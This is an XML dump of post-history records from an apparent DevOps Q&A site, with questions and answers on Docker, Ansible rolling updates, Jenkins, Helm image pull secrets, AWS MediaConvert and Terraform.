  <row Id="19356" PostHistoryTypeId="2" PostId="6043" RevisionGUID="6b8e4289-fa63-41b0-b126-ad6c5d59b1c6" CreationDate="2019-01-19T08:17:12.347" UserId="11764" Text="Did you try to import in flat setup than modular setup? It seems that in modular setup there is a bug with Terraform. https://github.com/terraform-providers/terraform-provider-aws/issues/559" ContentLicense="CC BY-SA 4.0" />
  <row Id="19362" PostHistoryTypeId="4" PostId="6020" RevisionGUID="64700d12-bf35-4dfe-ac1f-003670880834" CreationDate="2019-01-19T12:20:22.790" UserId="11880" Comment="Removed JFrog from question title.." Text="Additional push event syncing between Artifactory instances" ContentLicense="CC BY-SA 4.0" />
  <row Id="19374" PostHistoryTypeId="2" PostId="6048" RevisionGUID="79ead90b-cdaa-4ab9-848e-4c6e7a4ffb58" CreationDate="2019-01-20T12:28:48.347" UserId="10599" Text="We are in the process of making open source our openshift continuous deployment setup over on GitHub that we call [OCD][1]. It is actually driven by git tags and Helmfile yaml within git. As it’s driven by git tags it is agnostic as to which branches are being use. It is also agnostic to which CI/CD tools you are using. &#xA;&#xA;It is git driven with the idea is that developers can “self-service” spinning up new apps on openshift by changing yaml files in git. So a developer setting up a feature branch can “self-service” spinning up that code by simply tagging the code and changing some yaml to have openshift run that code. &#xA;&#xA;It could be used to meet your use case as follows:&#xA;&#xA; 1. OCD builds from git tag (or git release) events and makes a container image of the source code in the git tag, and tags the container image with the same tag. It doesn’t need to know which branches those tags belong to. &#xA; 2. A team that needs a new feature branch deployment would add a new folder in the git repo that holds all the configuration to build and run their tagged code. &#xA;&#xA;OCD is implemented as generic helm charts. One sets up BuildConfig that build from git tags and tag the image with the same tag. Another will setup DeploymentConfig to run tagged images. Another manages Secrets encrypted in git. Another manages ConfigMaps. There are installed using Helmfile that lets you declare a bunch of helm release in a yaml file. That is run by adnanh/webbook a small go app that can catch git webhook events and run shell scripts. &#xA;&#xA;OCD was created with micro services in mind. The idea being teams can spin up new services very easily. Using it to spin up temporarily apps to test is easy. It doesn’t current delete apps if they are removed from git but that wouldn’t be hard to implement when testing it I delete apps with a single command line. &#xA;&#xA;Disclaimer: it’s currently pre-release but feature complete and we are in the process of migrating our own apps into it.&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="19376" PostHistoryTypeId="5" PostId="6048" RevisionGUID="b6f90fa8-0503-4436-892c-fc967d73b370" CreationDate="2019-01-20T15:30:54.667" UserId="10599" Comment="deleted 25 characters in body" Text="We are in the process of making open source our openshift continuous deployment setup over on GitHub that we call [OCD][1]. It is actually driven by git tags and Helmfile yaml within git. As it’s driven by git tags it is agnostic as to which branches are being use. It is also agnostic to which CI/CD tools you are using. &#xA;&#xA;The idea is that developers can “self-service” spinning up new apps on openshift by changing yaml files in git. So a developer setting up a feature branch can “self-service” spinning up that code by simply tagging the code and changing some yaml to have openshift run that code. &#xA;&#xA;It could be used to meet your use case as follows:&#xA;&#xA; 1. OCD builds from git tag (or git release) events and makes a container image of the source code in the git tag, and tags the container image with the same tag. It doesn’t need to know which branches those tags belong to. &#xA; 2. A team that needs a new feature branch deployment would add a new folder in the git repo that holds all the configuration to build and run their tagged code. &#xA;&#xA;OCD is implemented as generic helm charts. One sets up BuildConfig that build from git tags and tag the image with the same tag. Another will setup DeploymentConfig to run tagged images. Another manages Secrets encrypted in git. Another manages ConfigMaps. There are installed using Helmfile that lets you declare a bunch of helm release in a yaml file. That is run by adnanh/webbook a small go app that can catch git webhook events and run shell scripts. &#xA;&#xA;OCD was created with micro services in mind. The idea being teams can spin up new services very easily. Using it to spin up temporarily apps to test is easy. It doesn’t current delete apps if they are removed from git. That wouldn’t be hard to implement when testing it I delete apps with a single command line. &#xA;&#xA;Disclaimer: it’s currently pre-release but feature complete and we are in the process of migrating our own apps into it.&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="19380" PostHistoryTypeId="10" PostId="5873" RevisionGUID="df3e6e8c-c767-4917-aad6-67923e289065" CreationDate="2019-01-21T02:33:41.737" UserId="46" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:2845,&quot;DisplayName&quot;:&quot;James Shewey&quot;},{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="19388" PostHistoryTypeId="2" PostId="6051" RevisionGUID="028da87c-4089-4b6b-a51a-77b124d5d837" CreationDate="2019-01-21T15:18:09.473" UserId="11179" Text="In Docker, when chaining several startup commands (CMD) in shell form, is there any advantage in using the shell's [exec](http://man7.org/linux/man-pages/man1/exec.1p.html) feature to replace it with the last command of the chain instead of just running it as a child process of the startup shell?&#xD;&#xA;&#xD;&#xA;Here is an example:&#xD;&#xA;&#xD;&#xA;    CMD npm install &amp;&amp; npm start&#xD;&#xA;&#xD;&#xA;versus:&#xD;&#xA;&#xD;&#xA;    CMD npm install &amp;&amp; exec npm start&#xD;&#xA;&#xD;&#xA;I think in the latter example, the `npm start` command will replace the shell as the PID 1 process. But I do not fully understand which advantages or disadvantages this would have." ContentLicense="CC BY-SA 4.0" />
  <row Id="19389" PostHistoryTypeId="1" PostId="6051" RevisionGUID="028da87c-4089-4b6b-a51a-77b124d5d837" CreationDate="2019-01-21T15:18:09.473" UserId="11179" Text="In Docker, is there any advantage or disadvantage in using 'CMD cmd1 &amp;&amp; cmd2' versus 'CMD cmd1 &amp;&amp; exec cmd2'?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19390" PostHistoryTypeId="3" PostId="6051" RevisionGUID="028da87c-4089-4b6b-a51a-77b124d5d837" CreationDate="2019-01-21T15:18:09.473" UserId="11179" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19391" PostHistoryTypeId="2" PostId="6052" RevisionGUID="a5ff8656-61fb-4143-887f-0dc1b5f6a721" CreationDate="2019-01-21T15:47:29.297" UserId="4427" Text="I think your ingress rule is fine but I think your Traefik service needs to be changed. Check out this article https://kubernetes.io/docs/tutorials/services/source-ip/&#xD;&#xA;&#xD;&#xA;I think what you are looking for is `nodePort` with `externalTrafficPolicy` set to `local`.&#xD;&#xA;&#xD;&#xA;This should allow Traefik to enforce `whitelist-source-range` annotation on the ingress. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19392" PostHistoryTypeId="2" PostId="6053" RevisionGUID="8f95b9c2-3be8-4101-9f6c-3bca426f4e6f" CreationDate="2019-01-21T16:22:15.920" UserId="7730" Text="When you replace pid 1 with a new executable, rather than forking it as a child pid, you reduce overhead (slightly). More importantly, you get signals directly to your application instead of having them passed to the shell running as pid 1. By default, the shell running in pid 1 will ignore the SIGTERM sent by docker to gracefully stop your application. After 10 seconds of no response, docker will send a SIGKILL which will immediately terminate the shell and child processes without giving them a chance to drain network connections or finish writing to any files. This can result in things like database corruption depending on what the app is inside the container.&#xD;&#xA;&#xD;&#xA;Even when this doesn't apply to your application (if there's no state), you can save up to 10 seconds every time you stop the container by switching to the exec syntax (assuming your application exits when it receives a SIGTERM). Therefore the exec syntax is the one I prefer for both data safety and speed." ContentLicense="CC BY-SA 4.0" />
  <row Id="19393" PostHistoryTypeId="2" PostId="6054" RevisionGUID="2503bf4a-42e4-4a6a-b3ca-bb4f42ecada8" CreationDate="2019-01-21T17:03:39.630" UserId="11946" Text="I am wondering if anyone else has integrated before a parameterized Jenkins build with [AnyStatus](https://www.anystat.us/).&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;When removing the parameter above, I am able to run builds using the branch specified previously from the browser, but that's not the idea. There is a [post](https://devops.stackexchange.com/questions/457/how-to-not-fire-and-forget-when-doing-a-remote-trigger-of-a-jenkins-build) explaining that I can use a script, but that wouldn't be integrated with AnyStatus in the existing Jenkin's plugin.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/qQHwi.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="19394" PostHistoryTypeId="1" PostId="6054" RevisionGUID="2503bf4a-42e4-4a6a-b3ca-bb4f42ecada8" CreationDate="2019-01-21T17:03:39.630" UserId="11946" Text="Specifying branch name for jenkins job through AnyStatus" ContentLicense="CC BY-SA 4.0" />
  <row Id="19395" PostHistoryTypeId="3" PostId="6054" RevisionGUID="2503bf4a-42e4-4a6a-b3ca-bb4f42ecada8" CreationDate="2019-01-21T17:03:39.630" UserId="11946" Text="&lt;jenkins&gt;&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19399" PostHistoryTypeId="2" PostId="6056" RevisionGUID="54ebbe3c-6d19-4e4e-8b72-a1a817e3fd9d" CreationDate="2019-01-21T20:23:08.453" UserId="11946" Text="Oh, I figured it out. I just went to the job configuration, activated the &quot;build is parameterized&quot; checkbox, added a string parameter called BRANCH, and in the &quot;branches to build&quot; section added `${BRANCH}`. Pretty much what is explained here:&#xD;&#xA;&#xD;&#xA;* https://stackoverflow.com/questions/20359810/how-to-trigger-jenkins-builds-remotely-and-to-pass-parameters&#xD;&#xA;* https://stackoverflow.com/questions/32108380/jenkins-how-to-build-a-specific-branch" ContentLicense="CC BY-SA 4.0" />
  <row Id="19401" PostHistoryTypeId="2" PostId="6057" RevisionGUID="122a1f28-2bd5-4df3-858b-de0bb8636d18" CreationDate="2019-01-21T23:05:32.073" UserId="11956" Text="As per https://mesos.readthedocs.io/en/0.22.2/attributes-resources/ states, attributes are separated by ';' not by ','." ContentLicense="CC BY-SA 4.0" />
  <row Id="19403" PostHistoryTypeId="2" PostId="6058" RevisionGUID="69a91803-4a39-49aa-9d2c-784eea679330" CreationDate="2019-01-22T06:36:52.647" UserId="11958" Text="I'm using Ansible to update a pool of EC2 servers with a rolling update, in batches of 25%. In between batches, I'm pausing long enough for the server health checks to start to pass again (since they'll fail while the application server restarts).&#xD;&#xA;&#xD;&#xA;The question is, can I skip the delay on the final pass so the playbook will finish sooner? Here is the script. The last line is the API I want:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: tag_deploy_environment_development&#xD;&#xA;      serial: &quot;25%&quot;&#xD;&#xA;      remote_user: ec2-user&#xD;&#xA;      become: no&#xD;&#xA;      vars:&#xD;&#xA;        health_check_healthy_threshold: 2&#xD;&#xA;        health_check_interval: 10&#xD;&#xA;        server_port: 80&#xD;&#xA;      tasks:&#xD;&#xA;        #- debug: var=vars&#xD;&#xA;        #- debug: var=ansible_facts&#xD;&#xA;&#xD;&#xA;        - name: &quot;Copy the current server version from disk&quot;&#xD;&#xA;          include_role:&#xD;&#xA;            name: deploy-code&#xD;&#xA;            tasks_from: push-files&#xD;&#xA;&#xD;&#xA;        - name: &quot;Wait for {{ server_port }} to become available&quot;&#xD;&#xA;          wait_for:&#xD;&#xA;            port: &quot;{{ server_port }}&quot;&#xD;&#xA;            timeout: 60&#xD;&#xA;            state: started&#xD;&#xA;&#xD;&#xA;        # I would like to check whether we are on the final batch,&#xD;&#xA;        # and don't pause in that case:&#xD;&#xA;        - pause:&#xD;&#xA;            seconds: &quot;{{ health_check_healthy_threshold * health_check_interval }}&quot;&#xD;&#xA;            prompt: Waiting to allow AWS health checks to pass&#xD;&#xA;          when: ansible_facts['remaining_batches'] &gt; 0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19404" PostHistoryTypeId="1" PostId="6058" RevisionGUID="69a91803-4a39-49aa-9d2c-784eea679330" CreationDate="2019-01-22T06:36:52.647" UserId="11958" Text="Can I check whether ansible is on the final iteration of rolling update (serial: &quot;25%&quot;)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19405" PostHistoryTypeId="3" PostId="6058" RevisionGUID="69a91803-4a39-49aa-9d2c-784eea679330" CreationDate="2019-01-22T06:36:52.647" UserId="11958" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;amazon-ec2&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19406" PostHistoryTypeId="2" PostId="6059" RevisionGUID="0ff5eb49-aa4d-4d26-b046-4b057eddf382" CreationDate="2019-01-22T06:36:52.647" UserId="11958" Text="To solve this, I printed `vars` and `ansible_facts`, and eventually stumbled on the `ansible_play_batch` variable, which is a list of hostnames in the current batch. `ansible_play_hosts_all` gives the full list of hostnames. (Do not use `ansible_play_hosts` for this purpose, because as of Ansible 2.7, it works but [the docs][1] say it gives something completely different.)&#xD;&#xA;&#xD;&#xA;The question: Is this the final batch?  &#xD;&#xA;Rephrasing based on the data: Is this batch == the last part of the host list?  &#xD;&#xA;Or to make it simpler: Is the end of this batch == the end of the host list?&#xD;&#xA;&#xD;&#xA;So in Ansible, the check for that is:&#xD;&#xA;&#xD;&#xA;    tasks:&#xD;&#xA;      - pause:&#xD;&#xA;          seconds: &quot;{{ health_check_healthy_threshold * health_check_interval }}&quot;&#xD;&#xA;          prompt: Waiting to allow AWS health checks to pass&#xD;&#xA;        when: ansible_play_batch[-1] != ansible_play_hosts_all[-1]&#xD;&#xA;&#xD;&#xA;      - debug: msg=&quot;This is the last batch.&quot;&#xD;&#xA;        when: ansible_play_batch[-1] == ansible_play_hosts_all[-1]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;Side note: I used the following playbook for testing, to simulate having many/few hosts without bothering to set them up. I couldn't see how to specify the hosts as a list in the playbook, so I added them to a group, then executed the group:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      connection: local&#xD;&#xA;      tasks:&#xD;&#xA;        - add_host: { name: host1, groups: test_hosts }&#xD;&#xA;        - add_host: { name: host2, groups: test_hosts }&#xD;&#xA;    - hosts: test_hosts&#xD;&#xA;      connection: local&#xD;&#xA;      serial: &quot;25%&quot;&#xD;&#xA;      tasks:&#xD;&#xA;        - debug: var=ansible_play_batch&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/reference_appendices/special_variables.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="19407" PostHistoryTypeId="4" PostId="6058" RevisionGUID="c2e324d6-98b6-4c1f-80b3-4c85077c15b1" CreationDate="2019-01-22T06:53:19.283" UserId="11958" Comment="edited title" Text="Can I check whether ansible is on last batch of rolling update (serial: 25%)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19408" PostHistoryTypeId="5" PostId="6059" RevisionGUID="7b3b466b-1823-49d3-ae33-3fbf49ac78c0" CreationDate="2019-01-22T06:55:33.143" UserId="11958" Comment="deleted 3 characters in body" Text="To solve this, I printed `vars` and `ansible_facts`, and eventually stumbled on the `ansible_play_batch` variable, which is a list of hostnames in the current batch. `ansible_play_hosts_all` gives the full list of hostnames. (Do not use `ansible_play_hosts` for this purpose, because as of Ansible 2.7, it works but [the docs][1] say it gives something completely different.)&#xD;&#xA;&#xD;&#xA;The question: Is this the final batch?  &#xD;&#xA;Rephrasing based on the data: Is this batch == the last part of the host list?  &#xD;&#xA;Or to make it simpler: Is the end of this batch == the end of the host list?&#xD;&#xA;&#xD;&#xA;In Ansible, the check for that is:&#xD;&#xA;&#xD;&#xA;    tasks:&#xD;&#xA;      - pause:&#xD;&#xA;          seconds: &quot;{{ health_check_healthy_threshold * health_check_interval }}&quot;&#xD;&#xA;          prompt: Waiting to allow AWS health checks to pass&#xD;&#xA;        when: ansible_play_batch[-1] != ansible_play_hosts_all[-1]&#xD;&#xA;&#xD;&#xA;      - debug: msg=&quot;This is the last batch.&quot;&#xD;&#xA;        when: ansible_play_batch[-1] == ansible_play_hosts_all[-1]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;Side note: I used the following playbook for testing, to simulate having many/few hosts without bothering to set them up. I couldn't see how to specify the hosts as a list in the playbook, so I added them to a group, then executed the group:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      connection: local&#xD;&#xA;      tasks:&#xD;&#xA;        - add_host: { name: host1, groups: test_hosts }&#xD;&#xA;        - add_host: { name: host2, groups: test_hosts }&#xD;&#xA;    - hosts: test_hosts&#xD;&#xA;      connection: local&#xD;&#xA;      serial: &quot;25%&quot;&#xD;&#xA;      tasks:&#xD;&#xA;        - debug: var=ansible_play_batch&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/reference_appendices/special_variables.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="19409" PostHistoryTypeId="2" PostId="6060" RevisionGUID="3b61c15b-2f3f-401f-811e-491130ba2646" CreationDate="2019-01-22T07:45:41.107" UserId="11960" Text="The advantage is : you can run multiple php-fpm containers in back-end, we call it PHP cluster, via number of ports.&#xD;&#xA;Example port 9000, 9001, 9002 .. and so on " ContentLicense="CC BY-SA 4.0" />
  <row Id="19413" PostHistoryTypeId="2" PostId="6062" RevisionGUID="53eacc4e-cea0-49a6-9af3-58a91962f287" CreationDate="2019-01-22T08:34:24.260" UserId="10635" Text="Here is my json job.&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;Queue&quot;: &quot;arn:aws:mediaconvert:xxxxx&quot;,&#xD;&#xA;      &quot;UserMetadata&quot;: {},&#xD;&#xA;      &quot;Role&quot;: &quot;xxxxx:role/MediaConvert&quot;,&#xD;&#xA;      &quot;Settings&quot;: {&#xD;&#xA;        &quot;TimecodeConfig&quot;: {&#xD;&#xA;          &quot;Source&quot;: &quot;EMBEDDED&quot;&#xD;&#xA;        },&#xD;&#xA;        &quot;OutputGroups&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;CustomName&quot;: &quot;123&quot;,&#xD;&#xA;            &quot;Name&quot;: &quot;Apple HLS&quot;,&#xD;&#xA;            &quot;Outputs&quot;: [&#xD;&#xA;              {&#xD;&#xA;                &quot;Preset&quot;: &quot;System-Ott_Hls_Ts_Avc_Aac_16x9_1280x720p_30Hz_5.0Mbps&quot;,&#xD;&#xA;                &quot;OutputSettings&quot;: {&#xD;&#xA;                  &quot;HlsSettings&quot;: {&#xD;&#xA;                    &quot;SegmentModifier&quot;: &quot;1&quot;&#xD;&#xA;                  }&#xD;&#xA;                },&#xD;&#xA;                &quot;NameModifier&quot;: &quot;test video out&quot;&#xD;&#xA;              }&#xD;&#xA;            ],&#xD;&#xA;            &quot;OutputGroupSettings&quot;: {&#xD;&#xA;              &quot;Type&quot;: &quot;HLS_GROUP_SETTINGS&quot;,&#xD;&#xA;              &quot;HlsGroupSettings&quot;: {&#xD;&#xA;                &quot;ManifestDurationFormat&quot;: &quot;INTEGER&quot;,&#xD;&#xA;                &quot;SegmentLength&quot;: 10,&#xD;&#xA;                &quot;TimedMetadataId3Period&quot;: 10,&#xD;&#xA;                &quot;CaptionLanguageSetting&quot;: &quot;OMIT&quot;,&#xD;&#xA;                &quot;Destination&quot;: &quot;s3://xxxxxx/&quot;,&#xD;&#xA;                &quot;TimedMetadataId3Frame&quot;: &quot;PRIV&quot;,&#xD;&#xA;                &quot;CodecSpecification&quot;: &quot;RFC_4281&quot;,&#xD;&#xA;                &quot;OutputSelection&quot;: &quot;MANIFESTS_AND_SEGMENTS&quot;,&#xD;&#xA;                &quot;ProgramDateTimePeriod&quot;: 600,&#xD;&#xA;                &quot;MinSegmentLength&quot;: 5,&#xD;&#xA;                &quot;MinFinalSegmentLength&quot;: 1,&#xD;&#xA;                &quot;DirectoryStructure&quot;: &quot;SINGLE_DIRECTORY&quot;,&#xD;&#xA;                &quot;ProgramDateTime&quot;: &quot;EXCLUDE&quot;,&#xD;&#xA;                &quot;SegmentControl&quot;: &quot;SINGLE_FILE&quot;,&#xD;&#xA;                &quot;ManifestCompression&quot;: &quot;NONE&quot;,&#xD;&#xA;                &quot;ClientCache&quot;: &quot;ENABLED&quot;,&#xD;&#xA;                &quot;StreamInfResolution&quot;: &quot;INCLUDE&quot;&#xD;&#xA;              }&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        ],&#xD;&#xA;        &quot;AdAvailOffset&quot;: 0,&#xD;&#xA;        &quot;Inputs&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;VideoSelector&quot;: {&#xD;&#xA;              &quot;ColorSpace&quot;: &quot;FOLLOW&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;FilterEnable&quot;: &quot;AUTO&quot;,&#xD;&#xA;            &quot;PsiControl&quot;: &quot;USE_PSI&quot;,&#xD;&#xA;            &quot;FilterStrength&quot;: 0,&#xD;&#xA;            &quot;DeblockFilter&quot;: &quot;DISABLED&quot;,&#xD;&#xA;            &quot;DenoiseFilter&quot;: &quot;DISABLED&quot;,&#xD;&#xA;            &quot;TimecodeSource&quot;: &quot;EMBEDDED&quot;,&#xD;&#xA;            &quot;FileInput&quot;: &quot;s3://xxxxx/test_video.mp4&quot;&#xD;&#xA;          }&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;And it falls with :&#xD;&#xA;&#xD;&#xA;&gt; Invalid selector_sequence_id [0] specified for audio_description [1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What i'm doing wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19414" PostHistoryTypeId="1" PostId="6062" RevisionGUID="53eacc4e-cea0-49a6-9af3-58a91962f287" CreationDate="2019-01-22T08:34:24.260" UserId="10635" Text="Trying to make job working AWS MediaConvert (ERROR 1040)" ContentLicense="CC BY-SA 4.0" />
  <row Id="19415" PostHistoryTypeId="3" PostId="6062" RevisionGUID="53eacc4e-cea0-49a6-9af3-58a91962f287" CreationDate="2019-01-22T08:34:24.260" UserId="10635" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19420" PostHistoryTypeId="2" PostId="6064" RevisionGUID="08bff806-c054-4942-919f-a56e1bd92067" CreationDate="2019-01-22T10:48:27.743" UserId="3427" Text="I posted the [same question at stackoverflow][1]. The question is answered there and I have posted my script. For the sake of completeness, I will post it here as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;&#xD;&#xA;    TOKEN=`curl -s &quot;https://auth.docker.io/token?service=registry.docker.io&amp;scope=repository:gitlab/gitlab-runner-helper:pull&quot; | jq '.token' | sed 's/&quot;//g'`&#xD;&#xA;    TAGS=`curl -s https://registry.hub.docker.com/v2/gitlab/gitlab-runner-helper/tags/list -H &quot;Authorization: Bearer $TOKEN&quot; | jq &quot;.tags[]&quot; | sed 's/&quot;//g' | grep x86_64`&#xD;&#xA;&#xD;&#xA;    for tag in $TAGS;&#xD;&#xA;    do&#xD;&#xA;      # is $tag an old entry?&#xD;&#xA;      if grep -Fxq $tag tags.list&#xD;&#xA;      then&#xD;&#xA;        # already processed&#xD;&#xA;        continue&#xD;&#xA;      else&#xD;&#xA;        echo &quot;new tag found: $tag&quot;&#xD;&#xA;        newSHA=`curl -s https://registry.hub.docker.com/v2/gitlab/gitlab-runner-helper/manifests/$tag -H &quot;Authorization: Bearer $TOKEN&quot; | jq &quot;.fsLayers[] .blobSum&quot; | sed 's/&quot;//g'`&#xD;&#xA;        latestSHA=`curl -s https://registry.hub.docker.com/v2/gitlab/gitlab-runner-helper/manifests/x86_64-latest -H &quot;Authorization: Bearer $TOKEN&quot; | jq &quot;.fsLayers[] .blobSum&quot; | sed 's/&quot;//g'`&#xD;&#xA;        if [ &quot;$newSHA&quot; = &quot;$latestSHA&quot; ]&#xD;&#xA;        then&#xD;&#xA;          echo &quot;$tag is new latest version&quot;&#xD;&#xA;          docker pull gitlab/gitlab-runner-helper:$tag&#xD;&#xA;          echo $tag &gt;&gt; tags.list&#xD;&#xA;        fi&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;The above script utilizes a file named `tags.list`, that is placed next to it. This file contains the older tags, to prevent issuing 500+ HTTP requests. If a tag from the `TAGS` is not yet present in the file, it does not mean, it is the latest. Sometimes tags appear, that eventually will become the latest version. Those tags are probed, but will not be inserted into the file. This might become an issue in the future, if those versions will be skipped as latest.&#xD;&#xA;&#xD;&#xA;**Note:** The script above only focuses on a specific subset of tags `(x86_64)`.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/52942359/how-to-pull-all-alternative-tags-of-a-docker-image" ContentLicense="CC BY-SA 4.0" />
  <row Id="19432" PostHistoryTypeId="5" PostId="4016" RevisionGUID="15c75d7e-0c63-4698-9888-82831ad5a006" CreationDate="2019-01-22T16:59:19.937" UserId="11965" Comment="fix broken Helm docs link" Text="Based on [this Github documentation][1] it is possible to pull a docker image from a private docker registry:&#xD;&#xA;&#xD;&#xA;values.yaml&#xD;&#xA;&#xD;&#xA;    imageCredentials:&#xD;&#xA;      name: credentials-name&#xD;&#xA;      registry: private-docker-registry&#xD;&#xA;      username: user&#xD;&#xA;      password: pass&#xD;&#xA;&#xD;&#xA;templates/imagePullSecret.yaml&#xD;&#xA;&#xD;&#xA;    {{- define &quot;imagePullSecret&quot; }}&#xD;&#xA;    {{- printf &quot;{\&quot;auths\&quot;: {\&quot;%s\&quot;: {\&quot;auth\&quot;: \&quot;%s\&quot;}}}&quot; .Values.imageCredentials.registry (printf &quot;%s:%s&quot; .Values.imageCredentials.username .Values.imageCredentials.password | b64enc) | b64enc }}&#xD;&#xA;    {{- end }}&#xD;&#xA;&#xD;&#xA;templates/secret.yaml&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Secret&#xD;&#xA;    metadata:&#xD;&#xA;      name: {{ .Values.imageCredentials.name }}&#xD;&#xA;    type: kubernetes.io/dockerconfigjson&#xD;&#xA;    data:&#xD;&#xA;      .dockerconfigjson: {{ template &quot;imagePullSecret&quot; . }}&#xD;&#xA;&#xD;&#xA;add the end of the templates/deployment.yaml add the following:&#xD;&#xA;&#xD;&#xA;    imagePullSecrets:&#xD;&#xA;      - name: {{ .Values.imageCredentials.name }}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/helm/blob/master/docs/charts_tips_and_tricks.md#creating-image-pull-secrets" ContentLicense="CC BY-SA 4.0" />
  <row Id="19433" PostHistoryTypeId="24" PostId="4016" RevisionGUID="15c75d7e-0c63-4698-9888-82831ad5a006" CreationDate="2019-01-22T16:59:19.937" Comment="Proposed by 11965 approved by -1 edit id of 921" ContentLicense="CC BY-SA 4.0" />
  <row Id="19434" PostHistoryTypeId="5" PostId="4016" RevisionGUID="c468ce1f-c5a0-464c-93c7-f087fc59388b" CreationDate="2019-01-22T16:59:19.937" UserId="40" Comment="deleted 1 character in body" Text="Based on [this Github documentation][1] it is possible to pull a docker image from a private docker registry:&#xD;&#xA;&#xD;&#xA;values.yaml&#xD;&#xA;&#xD;&#xA;    imageCredentials:&#xD;&#xA;      name: credentials-name&#xD;&#xA;      registry: private-docker-registry&#xD;&#xA;      username: user&#xD;&#xA;      password: pass&#xD;&#xA;&#xD;&#xA;templates/imagePullSecret.yaml&#xD;&#xA;&#xD;&#xA;    {{- define &quot;imagePullSecret&quot; }}&#xD;&#xA;    {{- printf &quot;{\&quot;auths\&quot;: {\&quot;%s\&quot;: {\&quot;auth\&quot;: \&quot;%s\&quot;}}}&quot; .Values.imageCredentials.registry (printf &quot;%s:%s&quot; .Values.imageCredentials.username .Values.imageCredentials.password | b64enc) | b64enc }}&#xD;&#xA;    {{- end }}&#xD;&#xA;&#xD;&#xA;templates/secret.yaml&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Secret&#xD;&#xA;    metadata:&#xD;&#xA;      name: {{ .Values.imageCredentials.name }}&#xD;&#xA;    type: kubernetes.io/dockerconfigjson&#xD;&#xA;    data:&#xD;&#xA;      .dockerconfigjson: {{ template &quot;imagePullSecret&quot; . }}&#xD;&#xA;&#xD;&#xA;at the end of the templates/deployment.yaml add the following:&#xD;&#xA;&#xD;&#xA;    imagePullSecrets:&#xD;&#xA;      - name: {{ .Values.imageCredentials.name }}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/helm/blob/master/docs/charts_tips_and_tricks.md#creating-image-pull-secrets" ContentLicense="CC BY-SA 4.0" />
  <row Id="19438" PostHistoryTypeId="2" PostId="6069" RevisionGUID="6ba5a1aa-b917-41b8-ab9a-8948847a2b09" CreationDate="2019-01-22T19:04:07.560" UserId="8737" Text="I have a lambda that gets called from several place through out an large app. Is there a way to discover every resource that is calling/using/attached to that lambda?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19439" PostHistoryTypeId="1" PostId="6069" RevisionGUID="6ba5a1aa-b917-41b8-ab9a-8948847a2b09" CreationDate="2019-01-22T19:04:07.560" UserId="8737" Text="Is there a way to find out every resource that calls a lambda?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19440" PostHistoryTypeId="3" PostId="6069" RevisionGUID="6ba5a1aa-b917-41b8-ab9a-8948847a2b09" CreationDate="2019-01-22T19:04:07.560" UserId="8737" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 4.0" />
